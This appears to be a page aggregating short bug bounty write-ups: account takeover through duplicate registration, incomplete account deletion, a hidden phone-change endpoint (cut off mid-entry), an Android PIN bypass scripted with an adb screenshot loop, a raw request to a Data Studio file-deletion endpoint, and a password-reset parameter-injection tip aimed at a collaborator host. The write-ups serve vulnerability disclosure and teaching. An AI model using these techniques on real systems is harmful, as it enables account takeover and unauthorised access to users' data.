hacking blogs

  The Bug Found a critical account takeover in a web application’s registration flow. The platform allowed creating the same account (same email) from a different session, even though the account already existed. Step-by-Step PoC Create account with email: xyz@account.com and place some orders. In a different session , re-register using the same email : xyz@account.com . ✅ Registration works again — no error for duplicate account. Now the attacker controls: The victim’s orders Can change the password Full account access = Total takeover. Impact Complete account takeover Orders, personal data, everything exposed Victim locked out after attacker changes password Status Accepted as High ✅ Rewarded 1500 Euros 💰 Takeaway Duplicate account creation = critical bug hiding in plain sight. Sometimes basic checks (like preventing duplicate registrations) protect the entire platform .

  The Bug I found a weird issue with the platform’s account deletion flow : When a user deletes their account, their added email addresses were not removed from the system. If the user tried to sign up again using the same email , they couldn’t — the system claimed the email was still in use . Impact Users locked out from re-registering after deleting their accounts. Incomplete deletion = privacy issue (user data retained after account removal). Status Bug accepted ✅ Rewarded 65 Euros 💰 Key Lesson Deleting an account should mean deleting everything tied to it , including secondary emails. Half-baked deletion flows = low payout bugs, but solid finds .

Introduction Sometimes, the most interesting vulnerabilities aren’t the flashy ones — they’re the sneaky, almost accidental bugs that show just how broken the logic behind a system can be. This is one such story where a "simple" password change page led me down a rabbit hole, exposing insecure phone number updates, exposed JS files, and a site-wide CSRF risk. The Setup: A Weird Account Settings Page I was casually poking around a web application’s user settings section when something immediately stood out: There was only an option to change the password — no UI to update email , name , or even the phone number . This felt odd for a platform that relied heavily on phone-based verification. The Discovery: A Phone Number Change Endpoint Hidden in Plain Sight I decided to do some digging, and sure enough, a JavaScript file revealed an unused (and undocumented) phone number change endpoint . However, the parameters required were unclear. I had no documentation, and the request w...

  Hitting main activity multiple times app allowing to view any activity inside an app. without even entering the mobile pin. Bug ;- Application has a mobile pin security. without entering the pin you cant enter into the app. Bypass :- But by calling internal activities like settings.activity and notifications.activity with race condition . The app is showing settings page ,profile page. but the problem is it only allow us to see for some seconds.So we need to automate it and take the screen shot by calling the activites . for i in $(seq 20);do adb shell am start -a \ android.intent.action.VIEW -n com.redacted.android/.MainActivity -d \  " https://redacted.com/notifications ";adb shell screencap /sdcard/tmp/$i.png;done The above command run 20 times and take screen shot of frontend and save it in sdcard directory. Impact : Attacker cant bypass the pin completely . but can view the content inside the app and know the sensitive info like . amount, profile info NO thanks ...

  Description : Attacker can able to delete any file with vulnerable endpoint ..! Endpoint : POST /u/4/deleteShareable?appVersion=20190926_020020 HTTP/1.1 Host: datastudio.google.com Connection: close Content-Length: 54 Sec-Fetch-Mode: cors Origin: https://datastudio.google.com User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36 Content-Type: application/json Accept: application/json, text/plain, */* encoding: null Sec-Fetch-Site: same-origin Referer: https://datastudio.google.com/u/4/navigation/reporting Cookie: RAP_XSRF_TOKEN=ACQ5uE-fZxoHyJIMJ6I9fWifDGZzjTeHCw:1569756166600; gh_7510439=; {“id”:”9c491b49-a2f7–49fe-bd91-c4783657781",”type”:0} vulnerable-paramerter : id guessing id here not possible . But if the victim shared his file the id will be visible in url path Triage Time September 29,2019 : Reported Oct 1, 2019 : Triaged Oct 8, 2019 : bountry awarded 5k$ No thanks for reading the report :-

  Hey Guys, Recently I have seen this attack vector mostly. While resetting the password check for any redirect,callback,returnurl paramters in the post body. Or try to param bruteforce it using any tool like param miner. and try to change it to a custom bind payload. { "email" : "victim@mail.com" , "Fuzz" : "burpcollabarator/customclient" } and try that you getting the payload link in the email.